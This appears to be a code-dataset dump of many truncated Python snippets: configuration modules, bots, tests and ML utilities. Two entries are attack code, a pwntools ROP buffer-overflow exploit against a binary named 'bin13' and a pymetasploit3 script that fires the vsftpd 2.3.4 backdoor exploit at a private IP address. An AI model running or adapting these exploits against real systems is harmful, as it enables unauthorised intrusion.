id
stringlengths
3
8
content
stringlengths
100
981k
11481120
from os import environ def singleton(cls, *args, **kw): instances = {} def _singleton(): if cls not in instances: instances[cls] = cls(*args, **kw) return instances[cls] return _singleton @singleton class Configuration(object): KEY_API_URL = "API_API_URL" KEY_DATACOL...
11481143
from os import environ from dotenv import load_dotenv from telegram.ext import CommandHandler, Filters, MessageHandler, Updater from bin.handlers import * if 'TELEGRAM_TOKEN' not in environ: load_dotenv() TOKEN = environ.get('TELEGRAM_TOKEN') def main(): updater = Updater( TOKEN, workers=32, use_co...
11481182
import base64 import io import uuid from logging import getLogger from typing import Any, Dict import requests from fastapi import APIRouter, BackgroundTasks from PIL import Image from src.app.backend import background_job, store_data_job from src.app.backend.data import Data from src.configurations import ModelConfig...
11481198
import configparser import itertools import os import platform import random import re import click from pycountry_convert import country_alpha2_to_continent_code from sucks import * class FrequencyParamType(click.ParamType): name = 'frequency' RATIONAL_PATTERN = re.compile(r'([.0-9]+)/([.0-9]+)') def ...
11481216
import os import sys import json from mindsdb.__about__ import __version__ # noqa: F401 from mindsdb.__about__ import __version__ as mindsdb_version from mindsdb.utilities.fs import get_or_create_data_dir, create_dirs_recursive from mindsdb.utilities.functions import args_parse, is_notebook from mindsdb.utilities.tel...
11481238
from __future__ import print_function import gdbremote_testcase from lldbsuite.test.decorators import * from lldbsuite.test.lldbtest import * from lldbsuite.test import lldbutil class TestGdbRemoteThreadsInStopReply( gdbremote_testcase.GdbRemoteTestCaseBase): mydir = TestBase.compute_mydir(__file__) ...
11481244
import configparser import pymysql import urllib.request parser = configparser.ConfigParser() parser.read("../halite.ini") DB_CONFIG = parser["database"] db = pymysql.connect(host=DB_CONFIG["hostname"], user=DB_CONFIG['username'], passwd=DB_CONFIG['password'], db=DB_CONFIG['name'], cursorclass=pymysql.cursors.DictC...
11481259
import argparse import yaml import os from pprint import pprint from .flitton_fib_rs import run_config def config_number_command() -> None: parser = argparse.ArgumentParser( description='Calculate Fibonacci numbers ' 'using a config file') parser.add_argument('--path', action='sto...
11481313
import argparse import codecs from markdown import Markdown import pickle def main(): parser = argparse.ArgumentParser() parser.add_argument("-o", "--output", help="Output pickle file path", default=None) parser.add_argument("input", help="Input API Blueprint file") args = pars...
11481350
import os import pickle import torch import torch.utils.data from PIL import Image import xml.etree.ElementTree as ET from wetectron.structures.bounding_box import BoxList from wetectron.structures.boxlist_ops import remove_small_boxes from .coco import unique_boxes class PascalVOCDataset(torch.utils.data.Dataset): ...
11481387
import pytest import sqlalchemy as sa from sqlalchemy_utils import aggregated @pytest.fixture def Catalog(Base): class Catalog(Base): __tablename__ = 'catalog' id = sa.Column(sa.Integer, primary_key=True) @aggregated( 'categories.sub_categories.products', sa.Colum...
11481407
from struct import pack, unpack from socket import inet_aton, inet_ntoa def dec2dot(dec): ''' convert ip address from decimal format to dotted-quad format ''' if dec>0xFFFFFFFF: dec = 0xFFFFFFFF ip = pack('!L', dec) return inet_ntoa(ip) def dot2dec(dot): ''' convert ip address...
11481410
import torch import torch.nn as nn import torch.nn.functional as F from torchvision import transforms, models from torchvision.transforms.functional import resize, pad from .identifier import ImageCharacterIdentifierBBox from ..module import ImageBBEncoder, Similarity from ..util import download from .res18_single im...
11481419
from __future__ import absolute_import, division, print_function from scitbx.array_family import flex import iotbx.phil import mmtbx.polygon import libtbx, os, re, sys from libtbx.utils import Sorry from libtbx import easy_pickle from six.moves import range keys_to_show = ["r_work", "r_free", "pdb_header_r_work", "p...
11481563
import sys, os.path as path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) PROJECT_PATH = path.dirname(path.dirname(path.abspath(__file__))) from summariser.data_processer.corpus_cleaner import CorpusCleaner def main(): corpus_name = 'DUC2004' # DUC2001, DUC2002, DUC2004 parse_type = 'pa...
11481599
import unittest from mock import Mock, patch, ANY from pandas import DataFrame from records_mover.records.schema import RecordsSchema class TestRecordsSchema(unittest.TestCase): maxDiff = None @patch('records_mover.records.schema.schema.sqlalchemy.RecordsSchemaField') @patch('records_mover.records.schema...
11481621
from __future__ import absolute_import import re from contextlib import contextmanager import gtasks.timeconversion as tc from gtasks.gtaskobject import GtaskObject from gtasks.misc import raise_for_type from gtasks.tasklist import TaskList class Task(GtaskObject): LIST_REGEX = re.compile('lists/(\w+)/tasks') ...
11481642
import unittest from three_words import checkio class Tests(unittest.TestCase): TESTS = { "Basics": [ {"input": "Hello World hello", "answer": True}, {"input": "He is 123 man", "answer": False}, {"input": "1 2 3 4", "answer": False}, {"input": "bla bla bla ...
11481696
from os import path # App details BASE_DIRECTORY = path.abspath(path.dirname(__file__)) DEBUG = True SECRET_KEY = 'keep_it_like_a_secret' # Database details SQLALCHEMY_DATABASE_URI = '{0}{1}'.format('sqlite:///', path.join(BASE_DIRECTORY, 'app.db'))
11481716
import contextlib import cProfile import io import pstats from collections import MutableMapping from functools import wraps from typing import Any, Callable, Dict def suppress_print(func: Callable) -> Callable: """ Function decorator to suppress print output for testing purposes. If ``suppress_print: Fa...
11481719
from hubcommander.auth_plugins.enabled_plugins import AUTH_PLUGINS # Define the organizations that this Bot will examine. ORGS = { "Real_Org_Name_here": { "aliases": [ "some_alias_for_your_org_here" ], "public_only": False, # False means that your org supports Private repos, T...
11481783
import hashlib import os from django.shortcuts import render, redirect from django.contrib import messages, auth from django.contrib.auth.decorators import login_required from django.core.files.storage import FileSystemStorage from users.forms import RegistrationForm, TeamRegistrationForm from users.models import Fil...
11481826
from pathlib import Path from lightflow.workflows import list_workflows from lightflow.config import Config def test_list_workflows_when_no_workflow_dirs_in_config(): config = Config() config.load_from_dict({'workflows': []}) assert list_workflows(config) == [] def test_list_workflows_handles_missing_p...
11481829
from django.contrib import admin from .models.team import CoreTeam, ProjectTeam, Team from .models.team_member import CoreMember, ProjectMember, TeamMember admin.site.register(CoreTeam) admin.site.register(ProjectTeam) admin.site.register(Team) admin.site.register(CoreMember) admin.site.register(ProjectMember) admin....
11481881
from WootCloud import fetch_incidents, Client, fetch_single_alert MOCK_URL = 'https://api_mock.wootcloud.com' MOCK_START = '2019-06-25T08:00:00Z' MOCK_END = '2019-06-27T08:00:00Z' MOCK_HEADERS = { 'Content-Type': 'application/json', 'Accept': 'application/json', 'Host': 'api.wootuno.wootcloud.com' } MOCK...
11481887
from geoana.em.fdem.base import ( omega, wavenumber, skin_depth, sigma_hat, BaseFDEM ) from geoana.em.fdem.wholespace import ( ElectricDipoleWholeSpace, MagneticDipoleWholeSpace ) from geoana.em.fdem.halfspace import MagneticDipoleHalfSpace from geoana.em.fdem.layered import MagneticDipoleLayeredHalfSpace f...
11481927
import brownie import pytest @pytest.fixture(scope="module") def token_id(settler_sbtc): return int(settler_sbtc.address, 16) @pytest.fixture(scope="module", autouse=True) def setup(alice, bob, swap, DAI, USDT, add_synths): DAI._mint_for_testing(alice, 1_000_000 * 10 ** 18) DAI.approve(swap, 2 ** 256 - ...
11481973
class Solution: def minCost(self, costs: List[List[int]]) -> int: if not costs: return 0 for i in range(1, len(costs)): costs[i][0] += min(costs[i - 1][1], costs[i - 1][2]) costs[i][1] += min(costs[i - 1][0], costs[i - 1][2]) costs[i][2] += min(costs[i...
11481983
import torch.nn as nn import torch.nn.functional as F import torch from parlai.agents.hy_lib.common_modules import FeedForward class PolicyNet(nn.Module): def __init__(self, state_dim, action_dim): super().__init__() self.policy = FeedForward(state_dim, action_dim, hidden_sizes=(128, 64)) de...
11482015
from .body_class import BodyClass class PyramidClass(BodyClass): def __init__(self, S_main, S_back, h): # S_main - площадь основания пирамиды # S_back - площадь боковой поверхности # h - высота пирамиды self.S_main = S_main self.S_back = S_back self.h = h se...
11482033
from setuptools import setup setup(name="audino", version="0.1.0", packages=["audino"], include_package_data=True)
11482038
from __future__ import division import random import numpy as np from PIL import Image import torchvision.transforms as transforms from . import co_transforms def has_file_allowed_extension(filename, extensions): """Checks if a file is an allowed extension. Args: filename (string): pa...
11482123
import matplotlib.pyplot as plt import numpy as np import statsmodels.api as sm import streamlit as st def find_acf_pacf(timeseries, seasonality): ''' Function to find the amount of terms for p and q Args. timeseries (Pandas Series): a time series to estimate the p and q terms seasonality (...
11482140
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.brambles import brambles def test_brambles(): """Test module brambles.py by downloading brambles.csv and testing shape of extracted data h...
11482156
import abc #Clase Abstracta de Café, todos las clases de café tienen que tener esta estructura class CafeAbstracto(metaclass=abc.ABCMeta): def precio(self): pass def ingredientes(self): pass #Tipo de Café que implementa la clase abstacta class CafeSimple(CafeAbstracto): def precio(self): ...
11482230
from ..mapper import PropertyMapper, ApiInterfaceBase from ..mapper.types import Timestamp, AnyType from .in_ import In __all__ = ['Usertag', 'UsertagInterface'] # TODO: разобраться со служебными словами class UsertagInterface(ApiInterfaceBase): in__: [In] photo_of_you: bool class Usertag(PropertyMapper, ...
11482237
import unittest import TestInput import logger from membase.api.rest_client import RestConnection log = logger.Logger.get_logger() class VerifyVersionTest(unittest.TestCase): servers = None log = None input = TestInput.TestInput def setUp(self): self.log = logger.Logger.get_logger() s...
11482259
import sys from itertools import chain, combinations import operator import networkx as nx def find_powerset(iterable): """ powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3) """ xs = list(iterable) # note we return an iterator rather than a list return map(set, chain.from_iterab...
11482263
from functools import partial from typing import * # pylint: disable=W0401,W0614 import torch class Seq2SeqDataset(torch.utils.data.Dataset): def __init__(self, data: List[Tuple[torch.Tensor, torch.Tensor]]) -> None: self.data = data def __len__(self) -> int: return len(self.data) def ...
11482298
import caffe import cv2 import sys import matplotlib.pyplot as plt #import Image def deploy(img_path): caffe.set_mode_gpu() MODEL_JOB_DIR = '/dli/data/digits/20180301-185638-e918' DATASET_JOB_DIR = '/dli/data/digits/20180222-165843-ada0' ARCHITECTURE = MODEL_JOB_DIR + '/deploy.prototxt' WEIGHTS = ...
11482300
from importlib import reload import sastvd.helpers.dclass as svddc import sastvd.helpers.joern as svdj import sastvd.linevd as lvd from graphviz import Digraph reload(svdj) def get_digraph(nodes, edges, edge_label=True): """Plote digraph given nodes and edges list.""" dot = Digraph(comment="Combined PDG", e...
11482363
import itertools import numpy as np import scipy.sparse as sp import tvm from tvm.ir import IRModule from tvm import relay from tvm.relay.data_dep_optimization import simplify_fc_transpose def run_func(func, params, x): with tvm.transform.PassContext(opt_level=3): lib = relay.build(func, "llvm", params...
11482377
from tracardi.process_engine.tql.domain.operations import OrOperation, AndOperation class Values: def __init__(self): self.values = [] def append_or_value(self, value): if isinstance(value, OrOperation): self.values = self.values + value['bool']['should'] else: ...
11482382
import os import torch import shutil import numpy as np from lib.loss.loss import mpjpe, n_mpjpe, p_mpjpe, mean_velocity_error, weighted_mpjpe from lib.dataloader.generators import UnchunkedGenerator from lib.camera.camera import image_coordinates from lib.skeleton.bone import get_bone_length_from_3d_pose, get_bone_un...
11482388
from EXOSIMS.Prototypes.StarCatalog import StarCatalog import numpy as np import astropy.units as u from astropy.coordinates import SkyCoord class FakeCatalog_UniformAngles(StarCatalog): """Fake Catalog of stars separated uniformly by angle Generate a fake catalog of stars that are uniformly separated. ...
11482441
import torch import numpy as np from matchzoo import losses def test_hinge_loss(): true_value = torch.Tensor([[1.2], [1], [1], [1]]) pred_value = torch.Tensor([[1.2], [0.1], [0], [-0.3]]) expected_loss = torch.Tensor([(0 + 1 - 0.3 + 0) / 2.0]) loss = losses.RankHingeLoss()(pred_value, true_value) ...
11482454
import unittest from cloudwanderer import URN from ..helpers import CloudWandererCalls, ExpectedCall, MultipleResourceScenario, NoMotoMock, SingleResourceScenario class TestNatGateways(NoMotoMock, unittest.TestCase): nat_gateway_payload = { "CreateTime": "2021-04-13T09:39:49.000Z", "NatGatewayA...
11482461
import json import pathlib import click import tqdm import candidate_data import image_loader import imagenet imgnet = imagenet.ImageNetData() cds = candidate_data.CandidateData(exclude_blacklisted_candidates=False) loader = image_loader.ImageLoader(imgnet, cds) all_wnids = list(sorted(list(imgnet.class_info_by...
11482471
fig, ax = plt.subplots(figsize=(15, 15)) ax = gdf_gent.to_crs(3857).plot(column="no2", ax=ax, legend=True, vmax=50) contextily.add_basemap(ax) ax.set_axis_off()
11482478
from __future__ import absolute_import, division, unicode_literals import treq import json from twisted.trial.unittest import SynchronousTestCase from twisted.internet.task import Clock from mimic.test.fixtures import APIMockHelper from mimic.test.helpers import request, json_request from mimic.rest.glance_api impor...
11482484
import os from ..utils.io import load_or_create, read_jsonl, load_pickle from .batch_iterator import BatchIterator from .. import config class BaseCorpus(object): def __init__( self, paths_dict, mode="train", use_chars=True, force_reload=False, train_data_proporti...
11482499
import cv2 import numpy as np # Function to rotate the image def rotateImage(image, angle): image_center = tuple(np.array(image.shape[1::-1]) / 2) rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0) result = cv2.warpAffine(image, rot_mat, image.shape[1::-1], flags=cv2.INTER_LINEAR) return r...
11482571
import os from code_search import shared, serialize from code_search.data_manager import DataManager, get_base_languages_data_manager def rename_dedupe_definitions_keys(doc): doc['code'] = doc.pop('function') doc['code_tokens'] = doc.pop('function_tokens') return doc def rename_set_doc_keys(doc): d...
11482582
import os def create_dirs(dirs): """ dirs - a list of directories to create if these directories are not found :param dirs: :return exit_code: 0:success -1:failed """ try: for dir_ in dirs: if not os.path.exists(dir_): os.makedirs(dir_) return 0 ...
11482598
from ._symbol import Symbol from plotly.graph_objs.layout.mapbox.layer import symbol from ._line import Line from ._fill import Fill from ._circle import Circle
11482603
import job_helper import click @job_helper.job('toy2d_train', enumerate_job_names=False) def train_toy2d(submit_config: job_helper.SubmitConfig, dataset, region_erode_radius, img_noise_std, n_sup, balance_classes, seed, sup_path, model, n_hidden, hidden_size, hidden_act, norm_layer, ...
11482606
import json def test_attempt_parse_request_missing_content_type_raises_bad_request_error( client, snapshot ): response = client.post("/", data="") assert response.status_code == 400 snapshot.assert_match(response.text) def test_attempt_parse_non_json_request_raises_bad_request_error(client, snapshot...
11482611
from ixnetwork_restpy.base import Base from ixnetwork_restpy.files import Files class AtmCell(Base): __slots__ = () _SDM_NAME = 'atmCell' _SDM_ATT_MAP = { 'AtmCellVpi': 'atmCell.atmCell.vpi-1', 'AtmCellVci': 'atmCell.atmCell.vci-2', 'AtmCellPti': 'atmCell.atmCell.pti-3', 'A...
11482619
import json import os import requests from cabot.cabotapp.alert import AlertPlugin from django.conf import settings from django.template import Template, Context TEXT_TEMPLATE = "<{{ scheme }}://{{ host }}{% url 'service' pk=service.id %}|{{ service.name }}> {{ message }}" URL_TEMPLATE = "{{ scheme }}://{{ host }}{...
11482644
import os from .core import Base DEFAULT_SETTINGS = { "HALT_ON_ERROR": True, "LOG_FORMAT": '%(log_color)s[%(name)s]: %(message)s', "LOG_COLORS": { 'DEBUG': 'cyan', 'INFO': 'green', 'WARNING': 'yellow', 'ERROR': 'red', 'CRITICAL': 'bold_red', } } SULTAN_SETTINGS...
11482680
import socket sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1) sock.bind(('::', 8080)) sock.listen() print(sock.accept())
11482717
from .base_shard_strategy import BaseShardStrategy from .bucket_tensor_shard_strategy import BucketTensorShardStrategy from .tensor_shard_strategy import TensorShardStrategy __all__ = ['BaseShardStrategy', 'TensorShardStrategy', 'BucketTensorShardStrategy']
11482721
from __future__ import print_function # Standard library imports import unittest import timeit # Enthought library imports from traits.testing.api import performance from codetools.contexts.tests.abstract_context_test_case import AbstractContextTestCase from codetools.contexts.data_context import DataContext from cod...
11482774
from pwn import * r=process('./bin13') context_level="debug" elf=ELF('bin13') readAddr=0x806e490 hackBss=0x80ec3a0 padding=0x4c*'a'#fucking IDApro! rop='' rop+=padding rop+=p32(readAddr) rop+=p32(hackBss) rop+=p32(0) rop+=p32(hackBss) rop+=p32(45) r.sendlineafter('put?\n','-1') r.sendlineafter('d...
11482794
from pymetasploit3.msfrpc import MsfRpcClient ## Usage example # Connect to the RPC server client = MsfRpcClient('<PASSWORD>') # Get an exploit object exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') # Set the exploit options exploit['RHOST'] = "192.168.115.80" exploit['RPORT'] = "21" # Exec...
11482837
import six from datasets.django.evaluator import DjangoEvaluator if six.PY3: from datasets.conala.evaluator import ConalaEvaluator from datasets.wikisql.evaluator import WikiSQLEvaluator
11482859
import os import unittest import datetime from dayone import journal TEST_DIR_PATH = os.path.split(os.path.abspath(__file__))[0] JOURNAL_DAYONE_PATH = os.path.join(TEST_DIR_PATH, 'Journal.dayone') class TestEntryObject(unittest.TestCase): def setUp(self): self.entry = journal.Entry(JOURNAL_DAYONE_PATH,...
11482880
import os import torch from models.bert_for_multi_label import (BertFCForMultiLable, BertCNNForMultiLabel, BertRCNNForMultiLabel, BertDPCNNForMultiLabel) from models.textcnn import TextCNN from mod...
11482897
import os from functools import wraps if os.getenv('SHARED_MEMORY_USE_LOCK') == '1': from multiprocessing import Lock else: class Lock: # type: ignore def acquire(self): pass def release(self): pass _lock = Lock() def lock(func): @wraps(func) def wrapper(*...
11482915
import sys import unittest import io from resync.resource import Resource from resync.resource_list import ResourceList from resync.capability_list import CapabilityList from resync.sitemap import Sitemap, SitemapIndexError, SitemapParseError import subprocess def run_resync(args): args.insert(0, './resync-buil...
11482942
import appdaemon.plugins.hass.hassapi as hass # # App to respond to buttons on an Aeotec Minimote # # Args: # # Minimote can send up to 8 scenes. Odd numbered scenes are short presses of the buttons, even are long presses # # Args: # #scene_<id>_on - name of the entity to turn on when scene <id> is activated #scene_<i...
11483065
from django.conf.urls import include, url from rest_framework import routers from audit.views import AuditLogViewSet router = routers.DefaultRouter() router.register(r"", AuditLogViewSet, basename="audit") urlpatterns = [url(r"^", include(router.urls))]
11483106
from dataclasses import dataclass from dataclasses import field from datetime import date from typing import NewType CategoryId = NewType("CategoryId", int) @dataclass class Category: primary_key: CategoryId name: str cost: int class Token: def is_expired(self): return True PriceId = New...
11483141
from lxml import etree from StringIO import StringIO from collections import deque import log logger = log.getlogger("rendertree", log.DEBUG) class RenderTree(object): def __init__(self, roots=[]): self.roots = roots class RenderTreeNode(object): def __init__(self, info="", xml=None, children=[],...
11483147
from brightics.common.exception import BrighticsFunctionException def get_required_parameters(func): import inspect def _check_required(param): return param.default is inspect.Parameter.empty and (param.kind is not inspect.Parameter.VAR_POSITIONAL and param.kind is not inspect.Parameter.VAR_KEYWORD) ...
11483177
from pathlib import Path from addok.config import config from addok.db import DB @config.on_load def load_scripts(): root = Path(__file__).parent / 'lua' for path in root.glob('*.lua'): with path.open() as f: name = path.name[:-4] globals()[name] = DB.register_script(f.read())...
11483183
import socket import ftplib from ftplib import FTP import sys #if __name__ == "__main__": # login = str(sys.argv[1]) # passwd = str(sys.argv[2]) # print(login,passwd) #ftp = FTP('ftp.debian.org') # connect to host, default port #ftp.login() #print(ftp) ip='ftp://ftp.sltac.cls.fr/Core/SEALEVEL_GLO_PHY_L4...
11483200
import numpy as np def hilbert3d(X, bit_length): """Compute the order using Hilbert indexing. Arguments --------- X : (N, ndim) float array The positions bit_length : integer The bit_length for the indexing. """ X = np.atleast_2d(X) state_diagram = ( np.array( ...
11483210
import sys import json import pandas as pd import numpy as np import pickle from http.server import BaseHTTPRequestHandler, HTTPServer MODEL = None MODEL_FILENAME = "model.pickle" def create_and_persist_model(): global MODEL from keras.datasets import fashion_mnist (x, y), _ = fashion_mnist.load_data() ...
11483226
import os, sys, inspect currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(0, parentdir) import storage def read(fn): d = dict() lines = storage.read_file(fn, True) for line in lines: edgeid = int(line.split("=")[0]) d[...
11483233
import tensorflow as tf import random import numpy as np from .registry import register def generate_batch(params): features = [] labels = [] sequence_lengths = [] target_mask = [] # helper to mask total_list total_mask = [-1] * (params.num_digits + 1) for _ in range(params.batch_size): feature = ...
11483265
import matplotlib.pyplot as plt import panel as pn import seaborn as sns penguins = sns.load_dataset("penguins") from dataviz_in_python import config config.configure(url="lib_seaborn", title="Seaborn") TEXT = """ # Seaborn: Statistical data visualization [Seaborn](https://seaborn.pydata.org/) Seaborn is a Python...
11483303
from flask import Flask, jsonify, render_template from subprocess import call from flask_socketio import SocketIO, send, emit app = Flask(__name__) app.secret_key = 'mysecret' socket_io = SocketIO(app) # _mode = 'start' or 'stop' _mode = 'stop' @app.route('/') def draw(): return render_template('main.html') # ...
11483351
from tests.fixtures.envs.wrappers.reshape_observation import ReshapeObservation __all__ = ['ReshapeObservation']
11483467
import numpy as np import h5py import argparse description=""" Merge partial LUT simulations into a single, complete LUT with no NaN's. """ if __name__ == "__main__": parser = argparse.ArgumentParser(description=description) parser.add_argument("h5_out", help="Output file") parser.add_argument("h5...
11483484
import unittest import requests from biolinkml.generators.yumlgen import YumlGenerator from tests.utils.test_environment import TestEnvironmentTestCase from tests.test_issues.environment import env class EmptyClassTestCase(TestEnvironmentTestCase): env = env def test_prefix(self): env.generate_sing...
11483491
import string from ml4ir.applications.ranking.tests.test_base import RankingTestBase from ml4ir.base.features import preprocessing import tensorflow as tf import numpy as np class RankingModelTest(RankingTestBase): def test_text_preprocesing(self): """ Asserts the preprocessing of a string tensor...
11483504
from __future__ import (absolute_import, division, print_function, unicode_literals) import sys import argparse from . import Draft, instructions from .wif import WIFReader, WIFWriter from .render import ImageRenderer, SVGRenderer def load_draft(infile): if infile.endswith('.wif'): ...
11483524
import pytest from pyecore.ecore import * def test_intro(): A = EClass('A') # We create metaclass named 'A' A.eStructuralFeatures.append(EAttribute('myname', EString, default_value='new_name')) a1 = A() # We create an instance assert a1.myname == 'new_name...
11483537
import numpy as np import pytest from qcodes.utils.validators import PermissiveInts def test_close_to_ints(): validator = PermissiveInts() validator.validate(validator.valid_values[0]) a = 0 b = 10 values = np.linspace(a, b, b - a + 1) for i in values: validator.validate(i) def test...
11483567
from persona import * import argparse parser = argparse.ArgumentParser() parser.add_argument('--data_folder', type=str, default='data/testing', help='the folder that contains your dataset and vocabulary file') parser.add_argument('--train_file', type=str, default='train.txt') parser.add_argument('--dev_file', ty...
11483672
import json import torch import random import numpy as np from opts import * from model.Model import Model from pycocoevalcap.bleu.bleu import Bleu from pycocoevalcap.rouge.rouge import Rouge from pycocoevalcap.cider.cider import Cider from pycocoevalcap.meteor.meteor import Meteor from torch.utils.data import DataLoad...
11483679
from scitools.std import * def f1(t): return t**2*exp(-t**2) def f2(t): return t**2*f1(t) t = linspace(0, 3, 51) y1 = f1(t) y2 = f2(t) plot(t, y1, 'r-', t, y2, 'bo', legend=('t^2*exp(-t^2)', 't^4*exp(-t^2)'), savefig='plot2j.png') ax = gca() # get current Axis object ax.setp(xlabel='t', ylabel=...
11483703
from jinja2 import Environment, PackageLoader from sqlalchemy import PrimaryKeyConstraint, ForeignKeyConstraint, CheckConstraint, UniqueConstraint import dbd from dbd.utils.text_utils import strip_table_name JINJA_GENERATOR_ENV = Environment(loader=PackageLoader(dbd.__name__, 'generator/generator_templates')) JINJA_G...
11483706
from rest_framework import status from rest_framework.response import Response from rest_framework.generics import GenericAPIView from ..permissions import IsAuthenticated from django.core.cache import cache from django.conf import settings from ..authentication import TokenAuthentication from ..app_settings import (...
11483724
import threading import time import pytest import torch from torchgpipe.microbatch import Batch from torchgpipe.stream import CPUStream from torchgpipe.worker import Task, spawn_workers class fake_device: """A test double for :class:`torch.device`. Every fake device is different with each other. """ ...
11483749
import operator import pytest from ...primitives import Int, Str, Any from ...containers import List from ...geospatial import ImageCollection from ...identifier import parameter from .. import MaskedArray, Array, DType, Scalar import numpy as np from ...core import ProxyTypeError arr_fixture = [[1, 2], [3, 4]] m...
11483792
from __future__ import print_function, unicode_literals import os import sys def data_filename(fname): basedir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) if os.path.exists(os.path.join(basedir, 'weblabdeusto_data', fname)): return os.path.join(basedir, 'weblabdeusto_data', fname) ...
11483802
import argparse from data_loader.dataset import MAGDataset def main(args): binary_dataset = MAGDataset(name=args.taxon_name, path=args.data_dir, embed_suffix=args.embed_suffix, raw=True, existing_partition=args.existing_partition, partition_pattern=args.partition_pattern, ...
11483887
from collections import namedtuple import functools import copy import jax import numpy as np from timemachine.lib import potentials, custom_ops from typing import Tuple, List, Any import dataclasses import jax.numpy as jnp from fe.topology import BaseTopology, SingleTopology from fe.free_energy import BaseFreeEne...